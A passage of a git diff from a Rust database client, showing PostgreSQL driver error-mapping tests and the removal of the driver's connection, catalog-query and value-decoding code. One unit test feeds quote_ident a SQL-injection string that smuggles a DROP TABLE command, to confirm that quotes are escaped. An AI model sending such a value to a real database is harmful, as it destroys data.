transaction", |e| { + matches!(e, DriverError::ReadOnly(ReadOnlyRefusal::ServerRejected(_))) + }), + ("57014", "canceling statement due to statement timeout", |e| { + matches!( + e, + DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: true + } + ) + }), + ( + "57014", + "canceling statement due to user request", + |e| matches!(e, DriverError::Server(d) if d.sqlstate() == Some("57014")), + ), + ("55P03", "canceling statement due to lock timeout", |e| { + matches!( + e, + DriverError::Timeout { + phase: TimeoutPhase::LockWait, + .. + } + ) + }), + ("53300", "sorry, too many clients already", |e| { + matches!(e, DriverError::Busy) + }), + ("57P01", "terminating connection due to administrator command", |e| { + matches!(e, DriverError::ConnectionLost { .. }) + }), + ( + "42P01", + "relation does not exist", + |e| matches!(e, DriverError::Server(d) if d.sqlstate() == Some("42P01")), + ), + ]; + for (code, message, expected) in cases { + let mapped = map_diagnostics(diagnostics(code, message)); + assert!(expected(&mapped), "{code} {message}: {mapped:?}"); + } + assert_eq!( + sqlstate(&DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: true, + }), + Some("57014") + ); + assert_eq!(sqlstate(&DriverError::Busy), None); + } + + #[test] + fn a_pool_wait_that_runs_out_is_busy() { + assert_eq!( + map_pool_error(&PoolError::Timeout(TimeoutType::Wait)), + DriverError::Busy + ); + assert!(matches!( + map_pool_error(&PoolError::Closed), + DriverError::ConnectionLost { .. } + )); + } +} diff --git a/linux/crates/drivers/postgres/src/lib.rs b/linux/crates/drivers/postgres/src/lib.rs index c0374db9e2..7fcebd08fe 100644 --- a/linux/crates/drivers/postgres/src/lib.rs +++ b/linux/crates/drivers/postgres/src/lib.rs @@ -1,1060 +1,32 @@ -use std::time::Duration; - -use async_trait::async_trait; -use secrecy::ExposeSecret; -use sqlx::postgres::{PgConnectOptions, PgPoolOptions, PgRow}; -use sqlx::{AssertSqlSafe, Column, Pool, Postgres, Row, TypeInfo, ValueRef}; - -use futures::stream::StreamExt; - -use tablepro_core::column::{ - CatalogType, ColumnDefault, ColumnType, ReadForm, ResultColumn, SqlExpression, SqlTypeExpr, classify_type_name, - has_dynamic_storage, -}; -use tablepro_core::value::{BitString, JsonText, OffsetTimestamp, SqlInterval, SqlTime, Temporal, TimeWithOffset}; -use tablepro_core::{ - ColumnInfo, ConnectOptions, Connection, DatabaseDriver, DriverError, ExecResult, ForeignKeyInfo, IndexInfo, - LossPhase, MAX_QUERY_ROWS, NetworkEndpoint, QueryResult, ReadOnlyRefusal, ServerCode, ServerDiagnostics, TableInfo, - TimeoutPhase, TlsFailure, TransportError, Value, -}; - -pub struct PgDriver; - -#[async_trait] -impl DatabaseDriver for PgDriver { - fn id(&self) -> &'static str { - "postgres" - } - - fn display_name(&self) -> &'static str { - "PostgreSQL" - } - - fn default_port(&self) -> u16 { - 5432 - } - - fn ddl_is_transactional(&self) -> bool { - true - } - - async fn connect(&self, opts: ConnectOptions) -> Result, DriverError> { - let pg_opts = PgConnectOptions::new() - .host(&opts.host) - .port(opts.port) - .database(&opts.database) - .username(&opts.username) - .password(opts.password.expose_secret()) - .ssl_mode(if opts.use_tls { - sqlx::postgres::PgSslMode::Require - } else { - sqlx::postgres::PgSslMode::Disable - }); - let endpoint = NetworkEndpoint::new(&opts.host, opts.port)?; - let pool = PgPoolOptions::new() - .max_connections(4) - .acquire_timeout(Duration::from_secs(5)) - .connect_with(pg_opts) - .await - .map_err(|error| map_connect_error(error, &endpoint))?; - Ok(Box::new(PgConnection { pool })) - } -} - -struct PgConnection { - pool: Pool, -} - -#[async_trait] -impl Connection for PgConnection { - async fn list_tables(&self) -> Result, DriverError> { - let rows = sqlx::query( - "SELECT schemaname, tablename - FROM pg_tables - WHERE schemaname NOT IN ('pg_catalog', 'information_schema') - ORDER BY schemaname, tablename", - ) - .fetch_all(&self.pool) - .await - .map_err(map_sqlx_error)?; - Ok(rows - .into_iter() - .map(|r| TableInfo { - schema: Some(r.get::(0)), - name: r.get::(1), - }) - .collect()) - } - - async fn fetch_columns(&self, schema: Option<&str>, table: &str) -> Result, DriverError> { - // Source schema metadata from pg_catalog rather than - // information_schema: - // - pg_attribute.attgenerated ('s' for STORED, '' otherwise) - // is the canonical generated-column flag. The - // information_schema.is_generated text column is brittle - // across PG versions. - // - pg_attribute.attidentity ('a' / 'd' for ALWAYS / BY - // DEFAULT identity, '' otherwise) authoritatively flags - // identity columns. - // - format_type() returns the user-facing type name including - // length / precision (e.g. "character varying(255)") which - // matches what the user wrote in CREATE TABLE. - // - pg_get_expr() returns the default expression text. - let rows = sqlx::query( - "SELECT - a.attname, - pg_catalog.format_type(a.atttypid, a.atttypmod) AS data_type, - NOT a.attnotnull AS nullable, - EXISTS ( - SELECT 1 FROM pg_catalog.pg_constraint c - WHERE c.conrelid = a.attrelid - AND c.contype = 'p' - AND a.attnum = ANY(c.conkey) - ) AS is_pk, - pg_catalog.pg_get_expr(d.adbin, d.adrelid) AS default_value, - a.attidentity <> '' AS is_identity, - a.attgenerated <> '' AS is_generated, - pg_catalog.col_description(a.attrelid, a.attnum) AS comment - FROM pg_catalog.pg_attribute a - JOIN pg_catalog.pg_class t ON a.attrelid = t.oid - JOIN pg_catalog.pg_namespace n ON t.relnamespace = n.oid - LEFT JOIN pg_catalog.pg_attrdef d - ON d.adrelid = a.attrelid AND d.adnum = a.attnum - WHERE n.nspname = COALESCE($2, current_schema()) - AND t.relname = $1 - AND a.attnum > 0 - AND NOT a.attisdropped - ORDER BY a.attnum", - ) - .bind(table) - .bind(schema) - .fetch_all(&self.pool) - .await - .map_err(map_sqlx_error)?; - Ok(rows - .into_iter() - .map(|r| { - let raw_default: Option = r.try_get::, _>(4).unwrap_or(None); - let is_identity = r.try_get::(5).unwrap_or(false); - let is_generated = r.try_get::(6).unwrap_or(false); - let comment = r.try_get::, _>(7).unwrap_or(None); - // SERIAL / BIGSERIAL columns aren't IDENTITY in PG's - // catalog terms but have a `nextval(...)` default; treat - // them as auto-increment for the inline-insert UI. - let is_serial = raw_default - .as_deref() - .map(|d| d.starts_with("nextval(")) - .unwrap_or(false); - // For identity / serial columns the default expression - // is internal sequence machinery — suppress so the UI - // doesn't leak implementation details. Otherwise - // normalise the expression for display. - let default_value = if is_identity || is_serial { - None - } else { - raw_default.map(normalize_pg_default) - }; - let type_name = r.get::(1); - ColumnInfo { - name: r.get::(0), - column_type: column_type_of(&type_name), - nullable: r.get::(2), - primary_key: r.get::(3), - is_auto_increment: is_identity || is_serial, - is_generated, - default: match default_value { - Some(text) => ColumnDefault::Expression(SqlExpression::from_catalog_text(text)), - None => ColumnDefault::None, - }, - comment, - } - }) - .collect()) - } - - async fn fetch_rows( - &self, - schema: Option<&str>, - table: &str, - offset: u64, - limit: u64, - ) -> Result { - let sql = format!( - "SELECT * FROM {} OFFSET {offset} LIMIT {limit}", - qualified(schema, table) - ); - stream_into_result(&self.pool, &sql, limit as usize).await - } - - async fn query(&self, sql: &str) -> Result { - stream_into_result(&self.pool, sql, MAX_QUERY_ROWS).await - } - - async fn query_params(&self, sql: &str, params: &[Value]) -> Result { - let q = bind_pg_params(sqlx::query(AssertSqlSafe(sql)), params); - let mut stream = q.fetch(&self.pool); - let mut collected: Vec = Vec::new(); - let mut truncated = false; - while let Some(row_result) = stream.next().await { - let row = row_result.map_err(map_sqlx_error)?; - if collected.len() >= MAX_QUERY_ROWS { - truncated = true; - break; - } - collected.push(row); - } - if collected.is_empty() { - return Ok(QueryResult::empty().truncated(truncated)); - } - let columns: Vec = collected[0] - .columns() - .iter() - .map(|c| ResultColumn::new(c.name(), column_type_of(c.type_info().name()))) - .collect(); - let width = columns.len(); - let data: Vec> = collected - .iter() - .map(|r| (0..width).map(|i| extract_value(r, i)).collect()) - .collect(); - Ok(QueryResult::new(columns, data).truncated(truncated)) - } - - async fn execute(&self, sql: &str) -> Result { - let res = sqlx::query(AssertSqlSafe(sql)) - .execute(&self.pool) - .await - .map_err(map_sqlx_error)?; - Ok(ExecResult { - rows_affected: res.rows_affected(), - }) - } - - async fn execute_params(&self, sql: &str, params: &[Value]) -> Result { - let q = bind_pg_params(sqlx::query(AssertSqlSafe(sql)), params); - let res = q.execute(&self.pool).await.map_err(map_sqlx_error)?; - Ok(ExecResult { - rows_affected: res.rows_affected(), - }) - } - - async fn execute_in_transaction(&self, statements: &[(String, Vec)]) -> Result, DriverError> { - let mut tx = self.pool.begin().await.map_err(map_sqlx_error)?; - let mut affected = Vec::with_capacity(statements.len()); - for (idx, (sql, params)) in statements.iter().enumerate() { - let q = bind_pg_params(sqlx::query(AssertSqlSafe(sql.as_str())), params); - match q.execute(&mut *tx).await { - Ok(res) => affected.push(res.rows_affected()), - Err(e) => { - let _ = tx.rollback().await; - return Err(DriverError::RolledBack { - statement_index: idx, - source: Box::new(map_sqlx_error(e)), - }); - } - } - } - tx.commit().await.map_err(map_sqlx_error)?; - Ok(affected) - } - - async fn fetch_indexes(&self, schema: Option<&str>, table: &str) -> Result, DriverError> { - // pg_index + pg_class + pg_attribute join. `array_agg ORDER BY - // ordinality` keeps the column order deterministic; pg_index - // stores `indkey` as an int2vector positional reference so we - // unnest with `WITH ORDINALITY` to capture position. - let rows = sqlx::query( - "SELECT - i.relname AS index_name, - ix.indisunique, - ix.indisprimary, - array_agg(a.attname ORDER BY k.ordinality) AS columns - FROM pg_catalog.pg_class t - JOIN pg_catalog.pg_namespace n ON t.relnamespace = n.oid - JOIN pg_catalog.pg_index ix ON ix.indrelid = t.oid - JOIN pg_catalog.pg_class i ON i.oid = ix.indexrelid - JOIN LATERAL unnest(ix.indkey) WITH ORDINALITY AS k(attnum, ordinality) ON true - JOIN pg_catalog.pg_attribute a ON a.attrelid = t.oid AND a.attnum = k.attnum - WHERE n.nspname = COALESCE($2, current_schema()) - AND t.relname = $1 - AND a.attnum > 0 - GROUP BY i.relname, ix.indisunique, ix.indisprimary - ORDER BY i.relname", - ) - .bind(table) - .bind(schema) - .fetch_all(&self.pool) - .await - .map_err(map_sqlx_error)?; - Ok(rows - .into_iter() - .map(|r| IndexInfo { - name: r.get::(0), - unique: r.get::(1), - primary: r.get::(2), - columns: r.get::, _>(3), - }) - .collect()) - } - - async fn fetch_foreign_keys(&self, schema: Option<&str>, table: &str) -> Result, DriverError> { - // pg_constraint with contype = 'f'. confkey arrays are parallel - // to conkey via ordinality; the LATERAL join pairs them so the - // FK column ↔ referenced column mapping survives composite - // FKs. confdeltype / confupdtype are single chars normalised - // to canonical SQL keyword strings. - let rows = sqlx::query( - "SELECT - c.conname AS fk_name, - array_agg(a.attname ORDER BY kf.ordinality) AS columns, - fn_class.relname AS ref_table, - fn_ns.nspname AS ref_schema, - array_agg(fa.attname ORDER BY kf.ordinality) AS ref_columns, - c.confdeltype, - c.confupdtype - FROM pg_catalog.pg_constraint c - JOIN pg_catalog.pg_class t ON t.oid = c.conrelid - JOIN pg_catalog.pg_namespace n ON n.oid = t.relnamespace - JOIN pg_catalog.pg_class fn_class ON fn_class.oid = c.confrelid - JOIN pg_catalog.pg_namespace fn_ns ON fn_ns.oid = fn_class.relnamespace - JOIN LATERAL unnest(c.conkey) WITH ORDINALITY AS kf(attnum, ordinality) ON true - JOIN pg_catalog.pg_attribute a ON a.attrelid = t.oid AND a.attnum = kf.attnum - JOIN LATERAL unnest(c.confkey) WITH ORDINALITY AS kfr(attnum, ordinality) - ON kfr.ordinality = kf.ordinality - JOIN pg_catalog.pg_attribute fa ON fa.attrelid = c.confrelid AND fa.attnum = kfr.attnum - WHERE c.contype = 'f' - AND n.nspname = COALESCE($2, current_schema()) - AND t.relname = $1 - GROUP BY c.conname, fn_class.relname, fn_ns.nspname, c.confdeltype, c.confupdtype - ORDER BY c.conname", - ) - .bind(table) - .bind(schema) - .fetch_all(&self.pool) - .await - .map_err(map_sqlx_error)?; - Ok(rows - .into_iter() - .map(|r| ForeignKeyInfo { - name: r.get::(0), - columns: r.get::, _>(1), - ref_table: r.get::(2), - ref_schema: r.try_get::, _>(3).unwrap_or(None), - ref_columns: r.get::, _>(4), - on_delete: pg_action_char_to_keyword(r.try_get::(5).ok().as_deref().unwrap_or("a")), - on_update: pg_action_char_to_keyword(r.try_get::(6).ok().as_deref().unwrap_or("a")), - }) - .collect()) - } - - async fn ping(&self) -> Result<(), DriverError> { - sqlx::query("SELECT 1") - .execute(&self.pool) - .await - .map_err(map_sqlx_error)?; - Ok(()) - } - - async fn close(self: Box) -> Result<(), DriverError> { - self.pool.close().await; - Ok(()) - } -} - -async fn stream_into_result(pool: &Pool, sql: &str, limit: usize) -> Result { - let mut stream = sqlx::query(AssertSqlSafe(sql)).fetch(pool); - let mut collected: Vec = Vec::new(); - let mut truncated = false; - while let Some(row_result) = stream.next().await { - let row = row_result.map_err(map_sqlx_error)?; - if collected.len() >= limit { - truncated = true; - break; - } - collected.push(row); - } - if collected.is_empty() { - return Ok(QueryResult::empty().truncated(truncated)); - } - let columns: Vec = collected[0] - .columns() - .iter() - .map(|c| ResultColumn::new(c.name(), column_type_of(c.type_info().name()))) - .collect(); - let width = columns.len(); - let data: Vec> = collected - .iter() - .map(|r| (0..width).map(|i| extract_value(r, i)).collect()) - .collect(); - Ok(QueryResult::new(columns, data).truncated(truncated)) -} - -fn extract_value(row: &PgRow, idx: usize) -> Value { - let type_name = row.columns()[idx].type_info().name().to_ascii_uppercase(); - let name = type_name.as_str(); - match name { - "BOOL" => decode(row, idx, name, |v: bool| Some(Value::Bool(v))), - "INT2" => decode(row, idx, name, |v: i16| Some(Value::Int(i64::from(v)))), - "INT4" => decode(row, idx, name, |v: i32| Some(Value::Int(i64::from(v)))), - "INT8" => decode(row, idx, name, |v: i64| Some(Value::Int(v))), - // A real is kept at its own width: widening it to f64 and back - // does not round-trip. - "FLOAT4" => decode(row, idx, name, |v: f32| Some(Value::Float32(v))), - "FLOAT8" => decode(row, idx, name, |v: f64| Some(Value::Float64(v))), - // NUMERIC arrives in the binary form, so it decodes through the - // wire type and is reparsed from its own text at full scale. - "NUMERIC" => numeric_cell(row, idx, name), - "DATE" => decode(row, idx, name, |v: chrono::NaiveDate| { - Some(Value::Date(Temporal::Finite(v))) - }), - "TIME" => decode(row, idx, name, |v: chrono::NaiveTime| { - Some(Value::Time(SqlTime::from_time_of_day(v))) - }), - "TIMETZ" => decode( - row, - idx, - name, - |v: sqlx::postgres::types::PgTimeTz| { - Some(Value::TimeTz(TimeWithOffset { - time: SqlTime::from_time_of_day(v.time), - offset: v.offset, - })) - }, - ), - "TIMESTAMP" => decode(row, idx, name, |v: chrono::NaiveDateTime| { - Some(Value::Timestamp(Temporal::Finite(v))) - }), - "TIMESTAMPTZ" => decode(row, idx, name, |v: chrono::DateTime| { - Some(Value::TimestampTz(Temporal::Finite(OffsetTimestamp::from_datetime( - v.fixed_offset(), - )))) - }), - "UUID" => decode(row, idx, name, |v: uuid::Uuid| Some(Value::Uuid(v))), - "JSON" | "JSONB" => json_cell(row, idx, name), - "BYTEA" => decode(row, idx, name, |v: Vec| Some(Value::Bytes(v))), - "BIT" | "VARBIT" => decode(row, idx, name, |v: sqlx::types::BitVec| bits_value(&v)), - "INTERVAL" => decode(row, idx, name, |v: sqlx::postgres::types::PgInterval| { - Some(Value::Interval(SqlInterval { - months: v.months, - days: v.days, - microseconds: v.microseconds, - })) - }), - _ => decode(row, idx, name, |v: String| Some(Value::Text(v))), - } -} - -/// Read one cell, keeping three outcomes apart: a real NULL, a value -/// the driver read, and one it could not read. A type with no decoder -/// says so rather than reading as an empty cell the user would take -/// for a NULL. -fn decode<'r, T, F>(row: &'r PgRow, idx: usize, type_name: &str, into_value: F) -> Value -where - T: sqlx::Decode<'r, Postgres> + sqlx::Type, - F: FnOnce(T) -> Option, -{ - match row.try_get::, _>(idx) { - Ok(Some(raw)) => into_value(raw).unwrap_or_else(|| undecodable(type_name)), - Ok(None) => Value::Null, - Err(_) => undecodable(type_name), - } -} - -/// Bind a positional parameter list to a sqlx Postgres query in the -/// same order as the `params` slice. Centralised here so -/// `execute_params` and `execute_in_transaction` produce identical -/// bindings without duplicating the variant match. -fn bind_pg_params<'q>( - mut q: sqlx::query::Query<'q, Postgres, sqlx::postgres::PgArguments>, - params: &'q [Value], -) -> sqlx::query::Query<'q, Postgres, sqlx::postgres::PgArguments> { - for p in params { - q = match p { - Value::Null => q.bind(Option::<&str>::None), - Value::Bool(b) => q.bind(*b), - Value::Int(i) => q.bind(*i), - Value::Float32(f) => q.bind(*f), - Value::Float64(f) => q.bind(*f), - Value::Text(s) => q.bind(s.clone()), - Value::Bytes(b) => q.bind(b.clone()), - Value::Date(Temporal::Finite(d)) => q.bind(*d), - Value::Timestamp(Temporal::Finite(t)) => q.bind(*t), - Value::TimestampTz(Temporal::Finite(t)) => q.bind(t.to_datetime()), - Value::Uuid(u) => q.bind(*u), - // PostgreSQL refuses a text parameter where it wants a - // numeric, so these bind as the wire type the column - // expects rather than as their text form. - Value::Decimal(d) => match to_pg_decimal(d) { - Some(decimal) => q.bind(decimal), - // Past what the wire type holds. Text reaches the - // server, which refuses it with its own message, - // rather than a quietly rounded number. - None => q.bind(d.to_string()), - }, - Value::Json(j) => match serde_json::from_str::(j.as_str()) { - Ok(json) => q.bind(json), - Err(_) => q.bind(j.as_str().to_owned()), - }, - Value::Time(t) => match t.to_time_of_day() { - Some(time) => q.bind(time), - None => q.bind(t.format(None)), - }, - // Everything else is sent as text for the server to parse - // from its own output form. - other => match tablepro_core::export::value_to_text(other) { - Some(text) => q.bind(text), - None => q.bind(Option::<&str>::None), - }, - }; - } - q -} - -fn quote_ident(name: &str) -> String { - format!("\"{}\"", name.replace('"', "\"\"")) -} - -/// Normalize the `default_value` text returned by `pg_get_expr`. -/// PG appends an explicit type cast to typed literal defaults -/// (`'hi'::text`, `42::integer`, `'2024-01-01'::date`); strip the -/// trailing `::TYPE` cast for display so the value reads as the user -/// would type it. Then, if the result is a single-quoted string -/// literal, strip the outer quotes (matching the SQLite driver's -/// behaviour) so default values look the same across all engines. -/// Function-call defaults like `now()` and complex expressions are -/// returned unchanged. -fn normalize_pg_default(raw: String) -> String { - let stripped = strip_pg_type_cast(&raw).unwrap_or(raw.as_str()).to_string(); - strip_outer_single_quotes(&stripped) -} - -fn strip_pg_type_cast(raw: &str) -> Option<&str> { - let idx = raw.rfind("::")?; - let suffix = &raw[idx + 2..]; - if suffix.is_empty() { - return None; - } - let is_type_name = suffix - .chars() - .all(|c| c.is_ascii_alphanumeric() || c == ' ' || c == '(' || c == ')' || c == ',' || c == '_'); - if is_type_name { Some(&raw[..idx]) } else { None } -} - -fn strip_outer_single_quotes(raw: &str) -> String { - let bytes = raw.as_bytes(); - if bytes.len() >= 2 && bytes[0] == b'\'' && bytes[bytes.len() - 1] == b'\'' { - // PG escapes embedded apostrophes by doubling, same as SQLite. - return raw[1..raw.len() - 1].replace("''", "'"); - } - raw.to_string() -} - -fn qualified(schema: Option<&str>, table: &str) -> String { - match schema { - Some(s) => format!("{}.{}", quote_ident(s), quote_ident(table)), - None => quote_ident(table), - } -} - -/// Map `pg_constraint.confdeltype` / `confupdtype` single-char codes -/// to canonical SQL action keywords. Returns `None` for the default -/// "no action" so the FK builder can omit the redundant ON clause. -fn pg_action_char_to_keyword(code: &str) -> Option { - match code { - "r" => Some("RESTRICT".into()), - "c" => Some("CASCADE".into()), - "n" => Some("SET NULL".into()), - "d" => Some("SET DEFAULT".into()), - // 'a' = NO ACTION is the default; surface as None so the - // generated DDL stays clean. - _ => None, - } -} - -/// A failure during connect, where an unreachable server is the -/// answer rather than a connection that was lost. -fn map_connect_error(err: sqlx::Error, endpoint: &NetworkEndpoint) -> DriverError { - match err { - sqlx::Error::Io(io) => DriverError::Transport(connect_transport_error(&io, endpoint)), - sqlx::Error::PoolTimedOut => DriverError::Transport(TransportError::Timeout { - phase: TimeoutPhase::Connect, - }), - other => map_sqlx_error(other), - } -} - -fn connect_transport_error(io: &std::io::Error, endpoint: &NetworkEndpoint) -> TransportError { - match io.kind() { - std::io::ErrorKind::ConnectionRefused => TransportError::Refused { - endpoint: endpoint.clone(), - }, - std::io::ErrorKind::TimedOut => TransportError::Timeout { - phase: TimeoutPhase::Connect, - }, - _ => TransportError::Unreachable { - endpoint: endpoint.clone(), - detail: io.to_string(), - }, - } -} - -fn map_sqlx_error(err: sqlx::Error) -> DriverError { - match err { - sqlx::Error::Database(error) => match error.try_downcast_ref::() { - Some(pg) => server_error(pg), - None => DriverError::server(error.message().to_owned()), - }, - sqlx::Error::Io(io) => io_error(&io), - sqlx::Error::Tls(error) => tls_error(error.as_ref()), - // The pool's wait ends only when every connection is busy, so - // it is the server having no room rather than a slow network. - sqlx::Error::PoolTimedOut => DriverError::Busy, - sqlx::Error::PoolClosed | sqlx::Error::WorkerCrashed => DriverError::ConnectionLost { - during: LossPhase::Idle, - }, - sqlx::Error::ColumnDecode { index, source } => DriverError::Decode { - column: index, - detail: source.to_string(), - }, - other => DriverError::Protocol(other.to_string()), - } -} - -/// The SQLSTATEs that mean something the app acts on. Everything else -/// is the server's own answer, passed through with its diagnostics. -fn server_error(pg: &sqlx::postgres::PgDatabaseError) -> DriverError { - let diagnostics = diagnostics_of(pg); - match pg.code() { - "28P01" | "28000" => DriverError::auth(Some(diagnostics)), - "25006" => DriverError::ReadOnly(ReadOnlyRefusal::server(diagnostics)), - "57014" => DriverError::Cancelled, - "55P03" => DriverError::Timeout { - phase: TimeoutPhase::LockWait, - server_cancelled: true, - }, - "53300" => DriverError::Busy, - _ => DriverError::reported(diagnostics), - } -} - -fn diagnostics_of(pg: &sqlx::postgres::PgDatabaseError) -> ServerDiagnostics { - ServerDiagnostics { - code: Some(ServerCode::SqlState(pg.code().to_owned())), - severity: Some(format!("{:?}", pg.severity())), - message: pg.message().to_owned(), - detail: pg.detail().map(str::to_owned), - hint: pg.hint().map(str::to_owned), - position: match pg.position() { - Some(sqlx::postgres::PgErrorPosition::Original(at)) => u32::try_from(at).ok(), - _ => None, - }, - where_context: pg.r#where().map(str::to_owned), - schema: pg.schema().map(str::to_owned), - table: pg.table().map(str::to_owned), - column: pg.column().map(str::to_owned), - constraint: pg.constraint().map(str::to_owned), - } -} - -/// An I/O failure on an open connection is the connection going away, -/// whatever the kind says. -fn io_error(_io: &std::io::Error) -> DriverError { - DriverError::ConnectionLost { - during: LossPhase::Statement, - } -} - -fn tls_error(error: &(dyn std::error::Error + 'static)) -> DriverError { - let (failure, detail) = - tablepro_net::tls::classify(error).unwrap_or_else(|| (TlsFailure::Other, error.to_string())); - DriverError::Tls { failure, detail } -} - -#[cfg(test)] -mod tests { - use super::*; - - #[test] - fn a_refused_connect_names_the_endpoint_it_tried() { - let endpoint = NetworkEndpoint::new("db.internal", 5432).expect("an endpoint"); - let err = sqlx::Error::Io(std::io::Error::from(std::io::ErrorKind::ConnectionRefused)); - - let mapped = map_connect_error(err, &endpoint); - - assert!( - matches!(&mapped, DriverError::Transport(TransportError::Refused { endpoint: at }) if at == &endpoint), - "got {mapped:?}" - ); - assert_eq!(mapped.category(), tablepro_core::ErrorCategory::Network); - } - - #[test] - fn a_dropped_connection_mid_statement_is_not_a_refusal() { - let err = sqlx::Error::Io(std::io::Error::from(std::io::ErrorKind::BrokenPipe)); - - let mapped = map_sqlx_error(err); - - assert!( - matches!( - mapped, - DriverError::ConnectionLost { - during: LossPhase::Statement - } - ), - "got {mapped:?}" - ); - } - - #[test] - fn a_full_server_is_busy_rather_than_broken() { - assert!(matches!(map_sqlx_error(sqlx::Error::PoolTimedOut), DriverError::Busy)); - } - - #[test] - fn driver_metadata() { - let d = PgDriver; - assert_eq!(d.id(), "postgres"); - assert_eq!(d.default_port(), 5432); - } - - #[test] - fn quote_ident_doubles_embedded_quotes() { - assert_eq!(quote_ident("users"), "\"users\""); - assert_eq!(quote_ident("My Table"), "\"My Table\""); - assert_eq!( - quote_ident("evil\"; DROP TABLE x; --"), - "\"evil\"\"; DROP TABLE x; --\"" - ); - } - - #[test] - fn normalize_pg_default_strips_type_cast_and_quotes() { - assert_eq!(normalize_pg_default("'hi'::text".into()), "hi"); - assert_eq!(normalize_pg_default("42::integer".into()), "42"); - assert_eq!(normalize_pg_default("'2024-01-01'::date".into()), "2024-01-01"); - assert_eq!( - normalize_pg_default("'2024-01-01 12:00:00'::timestamp without time zone".into()), - "2024-01-01 12:00:00" - ); - assert_eq!(normalize_pg_default("'it''s'::text".into()), "it's"); - } - - #[test] - fn normalize_pg_default_leaves_function_calls_alone() { - // now() has no cast — return as-is. - assert_eq!(normalize_pg_default("now()".into()), "now()"); - assert_eq!(normalize_pg_default("CURRENT_TIMESTAMP".into()), "CURRENT_TIMESTAMP"); - // Already-unquoted expression: untouched. - assert_eq!(normalize_pg_default("gen_random_uuid()".into()), "gen_random_uuid()"); - } - - #[test] - fn normalize_pg_default_handles_nested_casts() { - // (a::int + b)::numeric → strip outer ::numeric, leave inner alone. - assert_eq!(normalize_pg_default("(a::int + b)::numeric".into()), "(a::int + b)"); - } - - #[test] - fn normalize_pg_default_unquoted_string_passthrough() { - // Already-unquoted (e.g. legacy MySQL-style) — no double-strip. - assert_eq!(normalize_pg_default("hello".into()), "hello"); - assert_eq!(normalize_pg_default("'unbalanced".into()), "'unbalanced"); - } -} - -/// A column type from the name the catalogue gave, classified by the -/// shared rules. The engine's own spelling is kept for DDL. -fn column_type_of(type_name: &str) -> ColumnType { - let kind = classify_type_name(type_name); - ColumnType::new( - SqlTypeExpr::from_catalog_text(type_name), - kind, - CatalogType::Named(SqlTypeExpr::from_catalog_text(type_name)), - has_dynamic_storage(kind), - ReadForm::Native, - ) -} - -/// A value the driver could not read, so the grid says so rather than -/// showing an empty cell that looks like a NULL. -fn undecodable(type_name: &str) -> Value { - Value::Undecodable(Box::new(tablepro_core::value::UndecodedValue { - type_name: type_name.to_owned(), - reason: tablepro_core::value::UndecodableReason::UnsupportedType, - })) -} - -/// A decimal in the form the PostgreSQL wire protocol takes. -/// -/// `None` when the value needs more digits than that type holds, so -/// the caller can refuse rather than round. Reading is not limited -/// this way: `numeric_cell` takes the wire form as it arrives. -fn to_pg_decimal(value: &tablepro_core::value::SqlDecimal) -> Option { - let (mantissa, scale) = value.to_scaled_i128()?; - rust_decimal::Decimal::try_from_i128_with_scale(mantissa, scale).ok() -} - -/// A JSON document read back as the server rendered it. -/// -/// Decoding through a JSON type and printing it again would reorder -/// the keys and drop the spacing, so the bytes are taken as they -/// arrive. JSONB's binary form puts a version byte first. -fn json_cell(row: &PgRow, idx: usize, type_name: &str) -> Value { - let Ok(raw) = row.try_get_raw(idx) else { - return undecodable(type_name); - }; - if raw.is_null() { - return Value::Null; - } - let Ok(bytes) = raw.as_bytes() else { - return undecodable(type_name); - }; - let text = match (raw.format(), type_name) { - (sqlx::postgres::PgValueFormat::Binary, "JSONB") => match bytes.split_first() { - Some((&JSONB_VERSION, rest)) => rest, - _ => return undecodable(type_name), - }, - _ => bytes, - }; - std::str::from_utf8(text) - .ok() - .and_then(|text| JsonText::parse(text.to_owned()).ok()) - .map(Value::Json) - .unwrap_or_else(|| undecodable(type_name)) -} - -const JSONB_VERSION: u8 = 1; - -/// A NUMERIC read back at the exact digits the server holds. -/// -/// Neither fixed-width nor arbitrary-precision decimal decoding is -/// enough here: the first rounds a number past its own width, and the -/// second drops the declared scale, so `12345.67890` comes back as -/// `12345.6789`. The wire form carries both, so it is read directly. -fn numeric_cell(row: &PgRow, idx: usize, type_name: &str) -> Value { - let Ok(raw) = row.try_get_raw(idx) else { - return undecodable(type_name); - }; - if raw.is_null() { - return Value::Null; - } - let Ok(bytes) = raw.as_bytes() else { - return undecodable(type_name); - }; - let text = match raw.format() { - sqlx::postgres::PgValueFormat::Text => std::str::from_utf8(bytes).map(str::to_owned).ok(), - sqlx::postgres::PgValueFormat::Binary => numeric_text(bytes), - }; - text.as_deref() - .and_then(numeric_value) - .unwrap_or_else(|| undecodable(type_name)) -} - -/// A NUMERIC in its binary form: the base-10000 digit count, the -/// position of the first digit, a sign, the declared scale, then the -/// digits themselves. Rendered here the way the server prints it, -/// trailing zeros of the scale included. -fn numeric_text(bytes: &[u8]) -> Option { - let header: [u8; 8] = bytes.get(..8)?.try_into().ok()?; - let digit_count = usize::from(u16::from_be_bytes([header[0], header[1]])); - let weight = i32::from(i16::from_be_bytes([header[2], header[3]])); - let sign = u16::from_be_bytes([header[4], header[5]]); - let scale = usize::from(u16::from_be_bytes([header[6], header[7]])); - match sign { - SIGN_POSITIVE | SIGN_NEGATIVE => {} - SIGN_NAN => return Some("NaN".to_owned()), - SIGN_POSITIVE_INFINITY => return Some("Infinity".to_owned()), - SIGN_NEGATIVE_INFINITY => return Some("-Infinity".to_owned()), - _ => return None, - } - let digits: Vec = (0..digit_count) - .map(|position| { - let start = 8 + position * 2; - let pair: [u8; 2] = bytes.get(start..start + 2)?.try_into().ok()?; - Some(u16::from_be_bytes(pair)) - }) - .collect::>()?; - let digit_at = |position: i32| -> u16 { - usize::try_from(position) - .ok() - .and_then(|at| digits.get(at).copied()) - .unwrap_or(0) - }; - - let mut text = String::new(); - if sign == SIGN_NEGATIVE { - text.push('-'); - } - if weight < 0 { - text.push('0'); - } else { - for position in 0..=weight { - if position == 0 { - text.push_str(&digit_at(position).to_string()); - } else { - text.push_str(&format!("{:04}", digit_at(position))); - } - } - } - if scale > 0 { - let mut fraction = String::with_capacity(scale + 4); - let mut position = weight + 1; - while fraction.len() < scale { - let digit = if position < 0 { 0 } else { digit_at(position) }; - fraction.push_str(&format!("{digit:04}")); - position += 1; - } - fraction.truncate(scale); - text.push('.'); - text.push_str(&fraction); - } - Some(text) -} - -const SIGN_POSITIVE: u16 = 0x0000; -const SIGN_NEGATIVE: u16 = 0x4000; -const SIGN_NAN: u16 = 